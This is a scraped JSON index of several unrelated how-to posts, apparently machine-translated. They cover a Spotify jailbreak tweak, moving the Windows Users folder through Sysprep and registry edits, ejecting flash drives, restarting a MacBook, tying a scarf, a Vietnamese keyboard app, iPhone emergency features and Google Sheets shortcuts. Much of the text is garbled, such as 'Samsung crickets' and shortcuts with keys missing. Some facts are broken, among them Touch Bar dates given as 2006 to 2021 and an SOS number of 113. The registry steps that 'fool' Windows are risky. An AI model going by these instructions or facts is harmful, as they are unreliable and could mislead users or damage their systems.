and above for Packix source in Cydia. Or you can visit the link below.\nhttps://repo.packix.com/package/com.lacertosusrepo.improvify  Step 2:\nAfter installation is complete, click Settings and select Improvify tweak. At this interface we see the set content of the tweak. Some options like:\nAdd or not to add the 'Add to list' button. Customize color for playlist button. Turn off quick delete gestures. Turn off the lyrics of the song currently playing. Reset the song playback history. Adjust the time for quick delete gestures. Hide or show the number of songs played.     Step 3:\nAfter setting up the tweak, we open Spotify and see the music interface changes as shown below. The Spotify interface can be seen much simpler and more neat.\n    I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lo6W8tbXFsmSipqSav6etwp5kqKZdnr2pu82e\n","link":"/post/how-to-change-the-spotify-interface-on-iphone/","section":"post","tags":null,"title":"How to change the Spotify interface on iPhone"},{"body":"Instructions for moving Users folder on Windows 10 1. Move the user directory while installing the operating system Step 1. Install Windows 10 Step 2. Create an unattended answer file 3. Run Sysprep  2. Move the Users folder on Windows pre-installed 1. Create an unattended answer file 2. Run Run Sysprep 3. Start OOBE  3. User folder migration on Windows 10 is upgraded from Windows 7.8 or 8.1 1. Move the Users folder to drive C: 2. Edit the Registry  The advantage of this method is that it changes the value of one of the environment variables inside Windows 10. Changing variables involves all user profiles, defining them when creating the drive or partition selected.\nWhen Windows 10 is installed, 5 or 6 system folders are created depending on the selected bit version:\nPerfLogs (Performance Logs): where Windows stores logs of performance and reliability. Program Files : where applications and software are installed. Windows x86 (32 bit) stores all applications here, Windows x64 (64 bit) only stores original 64 bit applications. Program Files (x86) is only available on Windows x64, all non-x64 applications will be saved here. Windows : contains operating system files and drivers. ProgramData : some applications contain application settings, specific users, configuration files. Users : This is the 'home' of all user profiles. When creating a new user account and when logging on for the first time, Windows creates a specific set of user folders (UsersUsername). Microsoft does not recommend users to move ProgramData, Program Files, Program Files (x86) and Windows folders. Depending on the information, the data is stored on this folder and moving them may cause serious problems. However, it doesn't matter when we move the Users folder and the data contained in it including the Temp and AppData directories. The article will show you how to move the Users folder by changing the internal Windows environment variable.\nMoving the Users folder can save a lot of space on the system drive. Photos, videos, documents, etc. contained in this folder increase subdirectories up to dozens and sizes sometimes up to hundreds of GB.\nWhen installing Windows, if you use Audit Mode to move the Users folder, the system drive only stores Windows and the application.\nNote, you can only move the Users folder to an internal HDD or SSD drive.\n1. Move the user directory while installing the operating system Step 1. Install Windows 10 To install a new Windows 10, see the instructions How to install Windows 10 from USB with an ISO file. If you don't have the Windows 10 installation media, download the Windows 10 ISO file.\nFor some reason, sometimes Sysprep cannot be performed when Windows is installed with a network connection. You can install Windows offline, only connect Windows to the network when accessing Audit Mode.\nWhen installing to the Region Selection screen, press Ctrl + Shift + F3 .\n  Now, Windows will reboot into Audit Mode using the integrated admin account. When Windows Desktop appears, you will see the System Preparation Tool dialog in the middle of the screen. Close it by clicking the Cancel button.\n  Step 2. Create an unattended answer file If Windows installation does not have an Internet connection, you can reconnect to the Internet now.\nThe migration process will be done with the original Windows 10 tool called the System Preparation Tool (Sysprep). Sysprep needs instructions and this guide is contained in the XML script file, the unattended answer file.\nIn this example, we need a simple answer file containing two important information that guides Sysprep:\nBit version of Windows (32 bit or 64 bit) New location of Users folder (Example: D: Users instead of C: Users). Open Notepad, paste the following code into the new file.\n D:Users  Change the following information if needed:\nLine 4: The value of ProcessorArchitecture must be adm64 if you install Windows 64 bit on an Intel or AMD and x86 processor if Windows 32 bit is installed. Line 6: The value in the ProfilesDirectory tag is the new location for the Users folder. In this example, D: Users . Make sure the drive that moves the Users folder is empty or at least does not contain any Windows system folders, especially the Users folder or part of that folder from previous or current Windows settings . Warning: You should read before proceeding.\nWindows likes to set drive ID characters like this:\nC:\u0026gt; drive, Windows system installation drive. Drive D:\u0026gt;, the first optical drive (CD / DVD drive). Drive E:\u0026gt;, the second partition on the same C: drive or in case the drive only has one partition, it is the first partition on the secondary drive. Now, when you use sysprep to tell the system to move the Users folder to a specific drive, after restarting, Windows can find the drive to transfer this user folder with another drive ID character. and drive D: you intend to transfer that user directory now into E :. Sysprep cannot move user folders and you must reinstall.\nTo make sure you can use the selected partition to move the Users folder and need to set up the manual drive letter before running Sysprep. In Audit Mode, you can change the characters manually using Disk Management.\nFor example, to make sure the Users folder changes to drive D, execute:\nChange the optical drive letter to the letter at the end of the alphabet, such as W :. Change the drive letter of the partition or drive you plan to use for the Users folder to D :. If the partition or drive you want to use is already a D: character, change it to another character, close Disk Management, then reopen it and change it back to D :. Save the file as an XML file to the root of any drive except the C: drive. In this example, we renamed the D: drive to User Profiles and saved the answer file to D: relocate.xml :\n  3. Run Sysprep Open Command Prompt with administrative rights. To stop WMP Network Sharing Service, run the following command:\nnet stop wmpnetworksvc  This service is not running, otherwise Sysprep will not run successfully.\nNow run the Sysprep command by copying the following command into the Command Prompt.\n%windir%system32sysprepsysprep.exe /oobe /reboot /unattend:d:relocate.xml    The above command will tell the system to run Sysprep from the WindowsSystem32Sysprep folder to read instructions from unattended answer D: relocate.xml file, prepare the computer to boot OOBE (OOBE: first boot for new Windows installation).\nPress Enter , you will see Sysprep start running.\n  Windows will now start OOBE First Run and you will continue to install Windows. Once the installation is complete, you will see the main profile folder and your user account has been moved to the D: drive (or whatever drive you choose).\n  2. Move the Users folder on Windows pre-installed Warning: Do not proceed with the migration before creating the system image.\nRunning Sysprep on a pre-installed Windows is quite risky. Manufacturers may have their unattended answer file and ignore your custom unattended answer file. Therefore you should not run Sysprep on a pre-installed Windows system.\nIf you still decide to do it and if something goes wrong, you need to restore the system image you created before you proceed.\nIn short, moving the Users folder with Sysprep should only be done when installing Windows. If you try the second method to move the user directory on a preinstalled version, you may have to completely reinstall or restore the computer to the factory state.\nHere's a video of how to move the Users folder on Windows pre-installed.\nNote : With Windows 10 or later version 1703, you do not need to disable the current user account as in the video. In fact, when you do so, you can be completely locked out of Windows, forced to reinstall.\nVersion 1703 (build 15063 or later), you also do not disable or deactivate the existing user account as in the video.\n\u0026nbsp;\n1. Create an unattended answer file Create an answer file like Step 2 Way 1.\n2. Run Run Sysprep Run Sysprep as Step 3 Way 1.\n3. Start OOBE Although you have Windows 10 installed, starting OOBE for the first time always runs, meaning that Windows has gone through the initial setup process. Now continue the steps to install the new Windows.\nHowever, there are two things to keep in mind:\nYou do not need to enter the software key, even if Windows requires. Entering the software key is not harmful, but if you want to save time, just click the Skip button.   Your original user account does not disappear, everything is still there. However, when starting OOBE requires creating user accounts but if you try an existing account, local account or Microsoft account, you will receive the following error message:   To fix this, simply set up a fake local account. After that, you can log in to your original account and delete this fake local account.\n3. User folder migration on Windows 10 is upgraded from Windows 7.8 or 8.1 Note:\nWith build 10586 (TH2 version 1511) onwards, no matter what the upgrade even if the Users folder has been moved.\nIf the update from Windows 7 has moved the Users folder and the ProgramData folder, you must transfer the ProgramData back to the C: drive before upgrading. Windows 10 does not support ProgramData migration. You do not need to switch back to the Users folder without moving this folder.\n1. Move the Users folder to drive C: Open Notepad, paste the following code into the new file.\n C:ProgramData  Change the following information if needed:\nThe value of ProcessorArchitecture must be amd64 if Windows 64 bit is installed with Intel or AMD processor and x86 on 32 bit Windows. Save the file as XML to the root of any drive.\n  Perform steps 2 and 3 as Method 2 above.\n2. Edit the Registry When running Sysprep on Windows is upgraded, you will receive an error message about Sysprep being unable to authenticate the Windows installation, and it will not run. Check the log file you will find the cause.\nSysprep will not run on an upgraded OS. You can only run Sysprep on a custom (clean) install version of Windows.  (Log file: C: WindowsSystem32SysprepPanthersetupact.log)\nYou need to edit the registry to fool Windows into thinking this is a new installation instead of an upgrade. To do this, open Registry Editor ( Win + R , type regedit , press Enter ), browse to the following key:\nHKEY_LOCAL_MACHINESYSTEMSetup  Delete DWORD Upgrade (right frame) and key Upgrade (left frame). The system warns that there may be a problem if you delete these two items, you just need to accept and delete it.\n  Still on Registry Editor, browse to the following key:\nHKEY_LOCAL_MACHINESYSTEMSetupStatusSysprepStatus  If DWORD CleanupState or DWORD GeneralizationState has a value greater than 7, change it to 7 by double-clicking on the DWORD and entering the new value:\n  Close Registry Editor, open Command Prompt, type slmgr / dli and press Enter to open Software License Manager. Close it immediately after opening and closing the Command Prompt.\nNow you can upgrade to the next build and when the upgrade is complete, you can perform the upgraded sysprep Windows. After upgrading, restart the computer, repeat this step (edit the registry and slmgr / dli as above), then perform Method 2 as above.\nNote : If you switch the Users folder back to the old drive before upgrading, make sure to back up and delete the drive. It needs to be empty before moving Users from C :, after moving, you can copy the file from the corresponding folder to the new Users folder.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWfq7JuwdKeqWaen6Gxpr7SZqanZaeeu6W71qxkamg%3D\n","link":"/post/how-to-move-user-folders-on-windows-10/","section":"post","tags":null,"title":"How to move user folders on Windows 10"},{"body":" This wikiHow teaches you how to safely remove an external hard drive or flash drive from your Windows 10 computer. Save any open documents you have on the flash drive. The easiest way to do this in any open window is to hold down and press...\nMethod 1of 3:\nUsing the Desktop Taskbar  Save any open documents you have on the flash drive. The easiest way to do this in any open window is to hold down Ctrl and press S.\n  Find the \"Eject\" icon. It's the rectangular, flash drive-shaped icon with a checkmark next to it. It lives in the row of options that are in the bottom-right corner of the screen, though you may first need to click the upward-facing arrow on the far-left side of these options to view it.\n  Click the \"Eject\" icon. Doing so will invoke a drop-down menu.\n  Click Eject. This option is at the bottom of the drop-down menu. It will typically say something like Eject SDHC (E:) with your flash drive's name written after the \"Eject\" prompt.\n  Wait for the \"Safe to Remove Hardware\" prompt. Once this notification displays in the bottom-right side of your computer's screen, your flash drive is ready for removal.\n  Gently tug the flash drive away from your computer. It should slide out. The next time you plug your flash drive into your computer, all of your files should be as you left them.\n Method 2of 3:\nUsing the This PC Program  Save any open documents you have on the flash drive. The easiest way to do this in any open window is to hold down Ctrl and press S.\n  Open the Start menu. To do this, you can either click the Windows icon in the bottom-left corner of the screen, or you can press the ⊞ Win key on your computer's keyboard. Opening the Start menu will automatically place your mouse cursor in the \"Search\" bar.\n  Type in this pc. Doing so will search your computer for the \"This PC\" program.\n  Click the \"This PC\" icon. It's a computer monitor-shaped image at the top of the Start menu's search window. Doing so will open This PC.\n  Find your flash drive's name. It will appear below the \"Devices and drives\" heading that's in the middle of the page; typically, your flash drive will be on the right side of this page. You'll usually see \"(E:)\" or \"(F:)\" after the flash drive's name.   Right-click your flash drive's name. A drop-down menu will appear.\n  Click Eject. It's near the middle of the drop-down menu. Once you do this, the flash drive's name should disappear from the This PC window.\n  Wait for the \"Safe to Remove Hardware\" prompt. Once this notification displays in the bottom-right side of your computer's screen, your flash drive is ready for removal.\n  Gently tug the flash drive away from your computer. It should slide out. The next time you plug your flash drive into your computer, all of your files should be as you left them.\n  Lesley Montoya Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYyaZJ%2Bkkai1brDRoq2eZZanvK55wGauoqaUpMS0eZBpZJynnaXCtbHR\n","link":"/post/how-to-remove-a-flash-drive-from-a-windows-10-computer/","section":"post","tags":null,"title":"How to Remove a Flash Drive from a Windows 10 Computer"},{"body":"It will restart your mac OS and give you a fresh start without affecting any documents or data on your machine. Let's discover together now.\nRestart MacBook Pro via Menu This is the simplest way that you can apply to restart your computer. You just need to click on the Apple icon at the top right of the computer screen, then select Restart.\n  A dialog box appears to confirm the reboot. Click the Restart button and your screen will go black for a while. Next you should see the Apple logo appear on the screen - indicating that a reboot is in progress. Once this is complete, you can sign in to your account and use your MacBook Pro as you normally would.\nRestart MacBook Pro with Terminal You can also restart your MacBook Pro through the Terminal application if you have an Administrator account (Administrator) of the machine. First you need to open Terminal, when the application window appears, type the phrase below.\nsudo shutdown -r now   Then press Return. When the app asks for your password, enter it and press Return again. Through these operations, your Macbook Pro will restart immediately.\nForce Macbook Pro to Restart Sometimes you need to restart your computer, but your MacBook Pro freezes or becomes unresponsive. In this case, you can force the computer to restart by holding down the power button for 10 seconds.\nFor many MacBook Pro models made before 2016, the power button is located at the top right of the keyboard.\n  As for the MacBook Pro lines produced from 2006 to 2021, the power button will be similar to the Touch ID sensor, it will be located on the Touch bar at the top right of the keyboard.\n  And finally, for MacBook Pro products manufactured from 2021 to present, the power button is still arranged with Touch ID, but will no longer be on the Touch bar.\n  You need to hold the power button until the screen turns black. Your computer will be completely turned off. To restart the device, you need to press and hold the power button until the Apple logo appears on the screen.\nAbove are the Ways to Restart MacBook Pro that you can apply when having problems with your computer. Good luck.\nHow to Restart MacBook Pro how to restart macbook pro ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqMGivtNmpJqbkqS8rHnPq6Y%3D\n","link":"/post/how-to-restart-macbook-pro/","section":"post","tags":null,"title":"How to Restart MacBook Pro"},{"body":" A twilly, also known as a Hermes twilly, refers to a long, thin scarf that's made of silk. You may want to tie or wrap your bag's handles with a twilly to give your bag a little personality, add an accent color to a monochromatic bag, or...\nMethod 1of 3:\nWrapping the Entire Handle Spread the twilly out flat and slide it between the handle and the bag. Take your twilly and pull it out so that the fabric is even and straight. Pull the handle on your bag up and slide the last 3–4 inches (7.6–10.2\u0026nbsp;cm) of the twilly in between the bag and the end of the handle. If the handle is attached to the top of the bag's fabric, just hold it against the handle on the side facing the bag.[1] A traditional twilly is 32 inches (81\u0026nbsp;cm), which should give you more than enough fabric to wrap the handle on a medium-sized bag. This can be kind of hard to do if your bag has big looping handles, though.  Create a loop pulling the short end of the fabric back towards you. Grab the tip of the fabric sticking out past the handle. Pull the fabric back towards you so that you have roughly 2–3 inches (5.1–7.6\u0026nbsp;cm) of excess fabric at the end. Hold the 2 sides of the twilly parallel.[2]\n Tie the loop into a simple knot with a little fabric sticking out at the bottom. Slide the short end of the twilly underneath the longer end. Pinch the two pieces of fabric together and pull the short side over it. Slide the short end through the opening in between the loop. Pull the short end down to tighten the knot.[3]\nTip: Pull the short end tight enough that the fabric stays in place, but not so hard that you're putting a ton of pressure on the bag handles. Twillys are pretty thin, so it doesn't take much tension to hold the twilly in place.\n Wrap the fabric around the handle by layering the twilly over the handle. Take the long length of fabric and wrap it around the handle where you just tied your knot. Pull the twilly tight as you're wrapping it around the handle. Once you're wrapped the bottom of the handle, pull the fabric up a little while wrapping a second loop around the handle.[4] It doesn't matter if you go clockwise or counterclockwise around the handle, so choose whichever direction feels natural to you.  Continue wrapping the fabric until you reach the other end of the handle. Wrap your third loop around the handle by pulling it up and around the same way you made your second loop. Overlap at least 1 inch (2.5\u0026nbsp;cm) of the fabric with each wrap so that the thickness of the handle stays uniform and the entire handle is covered.[5] If you have more than 4 inches (10\u0026nbsp;cm) left over when you get to the other end of the handle, wrap the fabric around the base of the handle 1-2 times until you have 3–4 inches (7.6–10.2\u0026nbsp;cm) left. You're basically wrapping your way around the handle in a sequence of loops, kind of like a spiral staircase.  Loosen the last wrap a little while pinching the fabric above it. Once you get to the end of the handle, rest the side of your nondominant palm on the area above the end of the handle to hold the wrapped fabric still. Then, hold the end of the twilly with your nondominant hand and let it come a little loose. Use your dominant hand to pull the fabric out a little and pinch the fabric to the handle to maintain the slack.[6] You're basically holding the fabric tight while you loosen up the last wrap to make room for a knot.  Pull the loose fabric through the opening to make your second knot. Set the end of the twilly up over the loop you just created. Slide it through the top of the loop and pull it through the other side. Pull it taut until the loop tightens against the end of the handle. Keep pulling until the loop is tight and you have 2–3 inches (5.1–7.6\u0026nbsp;cm) of excess fabric sticking out from the bottom of your knot.[7] You can repeat this process on the other handle for a more symmetrical look, or stop here to go for a more unique look where one of the handles are covered.  Method 2of 3:\nCrafting a Handle Knot Fold the twilly in half lengthwise to make it thinner. Spread the twilly flat and then fold it on top of itself so that the width of the scarf is cut in half. Run your fingers over the fold while pressing down to keep the fold in place.[8] This is also known as a camellia, which is a type of shrub with knot-like flowers that resemble the knot you're going to make. This is great way to give a monochromatic bag a little color and personality. It will look like there's a small flower resting on one the ends of your handle.  Wrap the twilly around the end of the handle where you want to add the knot. Lift the handle on your bag up. Slide the middle of the twilly between the handle and the bag and pull it down so that the twilly is resting at the bottom of the handle.[9]\n Pull the 2 sides against one another and twist the fabric clockwise. Pull both lengths out away from the bag with the lengths of the twilly resting against one another. Squeeze the fabric together so that the folds don't come undone. Then, starting at the base of the handle, wrap the 2 lengths around one another in a clockwise pattern. Continue doing this until the entire twilly is wrapped up in a single rope-like length.[10]\nTip: Do not tie the end of the twilly. Keep the 2 lengths pinched together. There must be roughly 2–3 inches (5.1–7.6\u0026nbsp;cm) remaining at the end of each length for this to work.\n Wrap the twilly around the base of the handle to make a rose-like bundle. Pull the twilly down so that it's pointing away from the bag. Hold the end of the twilly in your dominant hand and pinch the area near the base of the handle with your nondominant hand. Move the larger piece in a circular motion clockwise to create a small ball of fabric on the base of the handle. Continue wrapping the twilly behind itself until you have 2–3 inches (5.1–7.6\u0026nbsp;cm) remaining.[11] With each wrap, you need to tuck the twilly behind the portion that you just wrapped.  Pull the 2 ends of the twilly in opposite directions behind the knot. Once you've wrapped the knot 4-5 times, hold the end of the twilly against the base of the knot. Grab the 2 individual ends of the twilly and pull them in opposite directions around the back of the knot.[12]\n Tuck the 2 ends together under the knot to secure your twilly. Wrap the 2 lengths around one another like you're starting to tie your shoes. Next, pull the 2 remaining lengths away from one another to tighten the twilly. To secure it to your bag, tuck the wrapped up ends underneath a portion of the knot to hold them in place.[13] If you tie the 2 ends together, you may have a tricky time getting the knot off of your bag.  Method 3of 3:\nCrafting a Half-Handle Twilly Slide the twilly through the middle of the handle. Set your bag down and orient0 the handle towards you away from the bag. Run the twilly through the middle of the handle in between your bag and the top of the handle. Straighten the fabric out and adjust the location where the bag meets the twilly until the middle of the scarf is resting on the middle of the handle.[14] This style will give your bag a unique personality. It will look like half of the handle is covered with a bow or standard wrap on the bottom of the handle.  Take the fabric underneath the handle and line it up along the handle. Use your nondominant hand to pinch the fabric against the handle in the middle. Then, use your free hand to pull the long length of fabric that's underneath the handle and set it on top of the handle in the direction you want to wrap the bag. Line this length of fabric up along the entire length of the section that you're going to cover.[15] This will look like half of the twilly is simply resting on top of the handle.  Wrap the free end of the twilly around the middle to hold it in place. With one end of the fabric lined up on the handle, take the free end and wrap it over the center. Pull it through the bottom of the bag and wrap it over the center again. Pull it gently to keep the twilly taut. This will hold the scarf in place while you wrap the rest of the bag.[16]\n Continue wrapping the handle using the piece you wrapped the center with. Tie the remainder of the handle with the half of the twilly you wrapped around the center. Loop it under and over the bag in the same direction that you wrapped the center while moving your way towards the bottom of the handle. Overlap each wrap at least 1.5 inches (3.8\u0026nbsp;cm). Use your free hand to hold the length on top of the handle in place while you're wrapping it.[17] Pull the fabric tight enough that it sits tightly against the handle, but not so tight that you're constricting the bag's material.  Wrap the excess twilly around the base of the handle 2-3 times. Once you get to the base of the handle, wrap one piece of the twilly clockwise around the strap. Then, wrap the excess portion that is tucked under the wrap counterclockwise over the piece on top. Do this 2-3 times until you have 6–7 inches (15–18\u0026nbsp;cm) of fabric remaining on both ends of the twilly.[18] If you have a hook holding the handle in place, wrap the excess twilly through the hook instead of around the handle.  Tie the remaining twilly into a bow to give the bag a cute accent. Take the first length and roll the fabric against itself to make a 2–3\u0026nbsp;in (5.1–7.6\u0026nbsp;cm) pleat. Then, take the second length of the twilly and roll it into a slightly bigger pleat that sits on front of the first loop. Pull the fabric on the bottom of the 2 pleats through the center of both loops in opposite directions to make your bow. Pull the 2 sides out away from the center to tighten the bow and let the excess twilly hang.[19] You can also wrap the end of the handle with a standard wrap by continuing to wrap both sides in the same direction. Then, create a loop with the top layer of fabric before pulling the twilly through the loop and tightening it. Variation: You can tie the bow on its own without wrapping the handle if you have a shorter twilly. Just wrap the end of the handle 6-7 times before using the 2 ends to tie a bow.\n  Isabella Humphrey Update 31 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyZmnq1w8ilo7Jln6N6onnBmp5moJGjsa2x\n","link":"/post/how-to-tie-twilly-on-a-bag-handle/","section":"post","tags":null,"title":"How to Tie Twilly on a Bag Handle"},{"body":"New Vietnamese language has been proposed according to the reform of the national language of Assoc. Prof. Dr. Bui Hien has become the hottest issue in recent days. Soon after, the computer user had a Vietnamese converter. And on the phone, Vietnamese typing application Laban Key also updated this new Vietnamese typing method.\nTool to convert Vietnamese language script into Vietnamese New Arrivals Under this project, 38 Vietnamese words will return to 31 Vietnamese words. The specific abbreviations for the project are C = Ch, Tr; D = D; G = G, Gh; F = Ph; K = C, Q, K; Q = Ng, Ngh; R = R; S = S; X = Kh; W = Th; Z = d, gi, r. For example, when you write Vietnamese, it will be Vietnamese.\nAnd to make it easier for users to write this new Vietnamese language without having to use the Vietnamese converter on their computer, Laban Key application has also updated this new writing promptly.\nHow to type Vietnamese into a new Vietnamese style of Laughing on Laban Key Download Laban Key Android application Download Laban Key for iOS Accordingly when users update Laban Key on iOS, Android to the latest version or download the new version can type Vietnamese in this new style.\nFirst of all we need to choose Vietnamese typing method in the toolbar. In the input text box, click on the conversion icon as shown below. Next you will write any sentence in the standard Vietnamese typing method, and Laban Key application will automatically convert to the new Vietnamese style input method.\nLaban Key, for example, may write \"An 'wrong. I'm sorry,' diiii\" according to the picture below. Finally, we just need to press the Send button to send a new style sentence.\n    Thus, with Laban Key application, we can quickly write a new Vietnamese typeface on the phone, without using the Vietnamese converter on the computer. Currently, this national language reform project is still in the process of research, revision and reference.\nSee also: Fix the error Unikey cannot type Vietnamese.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmecBmpZ6vXau2psDNmqSeq5ViuaK6xq6YoJ1dqsCqusZmo5qakaN6rLHY\n","link":"/post/how-to-write-a-new-vietnamese-language-using-laban-key/","section":"post","tags":null,"title":"How to write a new Vietnamese language using Laban Key"},{"body":"Preparing in advance unexpected situations is easier to deal with. If you have an iPhone phone in your pocket, you are well prepared for a number of different emergency situations.\nYour phone has more survival tools than you think. Take a look at the iPhone emergency features below. Maybe it will be useful for you in some cases.\nSteps to make a call on Wifi Calling How to use emergency mode on Samsung crickets 1. Features Emergency SOS call    If you are in a life-threatening situation, you can use your phone to call emergency services in your area. Even without taking your phone out of your pocket, you can still dial 113 and notice your situation and location. The phone number you call will automatically adjust to each specific local area.\nOn iPhone 8 and above, activate Emergency SOS emergency call by pressing and holding the side button and one of the volume buttons until the Emergency SOS slider appears, then drag the slider to make the call. If you continue to hold the keys, a big warning will be issued and the iPhone will automatically make the call.\nOn iPhone 7 and earlier, quickly press the side button or the top button 5 times, you will see the emergency call screen.\nIf you have set up an emergency contact, select Settings\u0026gt; Emergency SOS , iPhone will automatically send the message with your current location for that contact. If you move the location, the contact will receive location updates.\nRegardless of the situation, if your hands are not tied, you can contact the appropriate authorities.\nHow to receive emergency calls while in Do not Disturb mode on iPhone 2. Medical ID Medical ID stores information about your important health status for easy access in case you accidentally lose your ability. Someone holding your phone can know your health and call the person in need of an emergency. You can access Medical ID on the screen similar to the Emergency SOS display.\nMedical ID stores information such as your birth date, weight and height. In addition, you can list more important information about your health such as blood type, donated organ, allergy or medicine you are using. You can set up Medical ID on iPhone phone and sync on Apple Watch.\nHow to use Heal - Medical ID on iPhone in an emergency 3. Compass application    If you get lost in the forest, unplug your phone and open the Compass compass application. Compass application is part of the iOS operating system for many years, but it seems to be forgotten in many other utilities that come with the iPhone. Compass uses a magnetometer chip to sense the Earth's magnetic field, so you can use it offline. However, to be more accurate you should use it with GPS.\nYou should leave the phone on the plane when using Compass to give the best results, find directions and escape the forest. You can only navigate in the North direction if Location Service is enabled and online otherwise you can only use the North word.\nInstructions to turn on positioning on iPhone 4. Voice Memos and iCloud Voice Memos helps you to record important conversations, then instantly synchronize with all devices via iCloud.\nAll you have to do is access Settings\u0026gt; iCloud , scroll down and turn on the Voice Memos function. Then, turn on your Mac and other iCloud-enabled devices, check the iCloud settings to make sure you are logged in and open Voice Memos.\n5. Google Maps (Offline)    When you are on the road in an unfamiliar area, the map is an inexhaustible object. But paper maps are now very few and not updated regularly. Everyone uses Google Maps but if you are going somewhere where there is no service, what to do?\nThankfully, you can download Google Maps for offline use. To do that, open Google Maps and find the area you want to download. Touch the three horizontal lines next to the search bar, press Offline Maps , select Custom map , then select the area you want to save and click Download . Maps can take up to 500MB of storage.\nOf course, you need to do this when online. This map has been saved to your phone and you can use it offline. But one thing you need to keep in mind is that maps saved for offline use often expire if you don't update them.\n6. Find My Friends If you are in a dangerous situation, you can keep your friends and relatives constantly informed about your position. Find My Friends is an iPhone-based application that allows you to track your friends' locations and even receive notifications when they leave or go somewhere.\nTo add you, connect them with Airdrop if you are in the same area or send them an email request by going to Find My Friends\u0026gt; Add . Once connected, you can choose to share your location with anyone. Use it to track them or let them follow you, no matter where you go. You can also let them know when you leave or go somewhere. Select the contact name, press the More button and then Notify .\nWith these applications, you can handle various emergency situations. Keep in mind and make sure these tools work.\nncG1vNJzZmismaXArq3KnmWcp51ktrG0zqecZpuRo3q0rdWeZLKnpad6rbXFnmStoJGjuLR506hkraCVqLJugoyepJ6ql5q7pMWMn5yarKWnsrQ%3D\n","link":"/post/iphone-can-save-your-life-thanks-to-these-6-emergency-features/","section":"post","tags":null,"title":"iPhone can save your life thanks to these 6 emergency features"},{"body":"Using Google Docs shortcuts makes it easy to understand how to use Google Docs, edit and edit documents faster. Google Sheest is similar, using Google Sheets shortcuts to help you enter data faster and more efficiently, especially saving time. Below is a list of common shortcuts for Google Sheets on your computer.\nExplore more:  Summary - 38 'priceless' shortcuts in Microsoft Excel   10 ways to use the Paste feature in Excel   Calculate the total value of the filtered list in Excel  1. General shortcut keys Select column: Ctrl + Space\nSelect row: Shift + Space\nSelect all: Ctrl + A or Ctrl + Shift + Space\nHide the selected background cell: Ctrl + Shift + Backspace\nBack (Undo): Ctrl + Z\nRepeat the operation (Redo): Ctrl + Y or Ctrl + Shift + Z or F4\nSearch: Ctrl +\nSearch and replace: Ctrl + H\nFill range: Ctrl + Enter\nFill down: Ctrl + D\nFill right: Ctrl + R\nSave: Ctrl + S\nOpen saved file: Ctrl + O\nPrint: Ctrl + P\nCopy (Copy): Ctrl + C\nCut: Ctrl + X\nPaste: Ctrl + V\nPaste value: Ctrl + Shift + V\nDisplay keyboard shortcuts: Ctrl + /\nNew insert sheet: Shift + F11\nAdjust Compact: Ctrl + Shift + F\nOpen / off Input tool: Ctrl + Shift + K\nSelect Input tool: C trl + Alt + Shift + K\n2. Shortcut cell format Bold: Ctrl + B\nUnderline: Ctrl + U\nItalic: Ctrl + I\nDash: Alt + Shift + 5\nCenter: Ctrl + Shift + E\nLeft align : Ctrl + Shift + L\nRight align : Ctrl + Shift + R\nFormat cell borders, upper table borders: Alt + Shift + 1\nFormat cell borders, right panel borders: Alt + Shift + 2\nFormat cell borders, border table below: Alt + Shift + 3\nFormat cell borders, border on left panel: Alt + Shift + 4\nDelete border format: Alt + Shift + 6\nFormatting cell borders, outboard table borders: Alt + Shift + 7\nInsert Hyperlink link: Ctrl + K\nInsert time: Ctrl + Shift +;\nInsert date: Ctrl +;\nDecimal format: Ctrl + Shift + 1\nTime format: Ctrl + Shift + 2\nDate format: Ctrl + Shift + 3\nFormat the number of Curency types with two decimal places: Ctrl + Shift + 4\nNumber format Percentage type (no decimal digits): Ctrl + Shift + 5\nExponential type number format with two decimal digits: Ctrl + Shift + 6\nDelete format: Ctrl +\n  \n3. Spreadsheet navigation shortcut Move to surrender: Home\nMove to the top of the table: Ctrl + Home\nMove to the end of the row: End\nMove to the end of the table: Ctrl + End\nMove to the working cell: Ctrl + Backspace\nMove to the next table: Ctrl + Shift + Page Down\nMove to the previous table: Ctrl + Shift + Page Up\nDisplay table list: Alt + Shift + K\nOpen Hyperlink link: Alt + Enter\nMove the Focus out of Spreadsheet: Ctrl + Alt + Shift + M\nMove to Quicksum: Alt + Shift + Q\nMove Focus to Popup Menu: hold down Ctrl + Alt , press E and press P\nOpen Menu to filter cell data: Ctrl + Alt + R\nOpen history: Ctrl + Alt + Shift + G\nOpen the chat inside the Spreadsheet: Shift + Esc\nClose the drawing editor: Shift + Esc\n4. Shortcuts to edit comments and likes Insert / edit captions: Shift + F2\nInsert / edit comments: Ctrl + Alt + M\nOpen discussion topic: Ctrl + Alt + Shift + A\nEnter the current caption: hold down Ctrl + Alt, press E and press C\nMove to the next comment: hold down Ctrl + Alt, press N and press C\nMove back to the previous comment: hold down Ctrl + Alt , press P and press C\n5. Shortcut to open Menu Open File Menu :\nOn Google Chrome browser: Alt + F Other browser: Alt + Shift + F Open Edit Menu:\nOn Google Chrome browser: Alt + E Other browser: Alt + Shift + E Open the View Menu:\nOn Google Chrome browser: Alt + V Other browser: Alt + Shift + V Open Insert Menu:\nOn Google Chrome browser: Alt + I Other browser: Alt + Shift + I Open Menu Format:\nOn Google Chrome browser: Alt + O Other browser: Alt + Shift + O Open Data Menu:\nOn Google Chrome browser: Alt + D Other browser: Alt + Shift + D Open Menu Tool :\nOn Google Chrome browser: Alt + T On another browser: Alt + Shift + T Open Menu Form:\nOn Google Chrome browser: Alt + M Other browser: Alt + Shift + M Open the Add-ons Menu:\nOn Google Chrome browser: Alt + N Other browser: Alt + Shift + N Open Help Menu:\nOn Google Chrome browser: Alt + H Other browser: Alt + Shift + H Open the Accessibility Menu:\nOn Google Chrome browser: Alt + A Other browser: Alt + Shift + A Open Menu Sheet: Alt + Shift + S\nOpen Context Menu: Ctrl + Shift +\n6. Shortcuts use insert or delete rows / columns Insert row on:\nOn Google Chrome browser: hold down Alt + I , then press R On another browser: hold down Alt + Shift + I , then press R Insert row below:\nOn Google Chrome browser: hold down Alt + I , then press W Other browser: hold down Alt + Shift + I, then press W Insert left column:\nOn Google Chrome browser: hold down Alt + I , then press C Other browser: hold down Alt + Shift + I , then press C Insert the right column:\nOn Google Chrome browser: hold down Alt + I , then press G Other browser: hold down Alt + 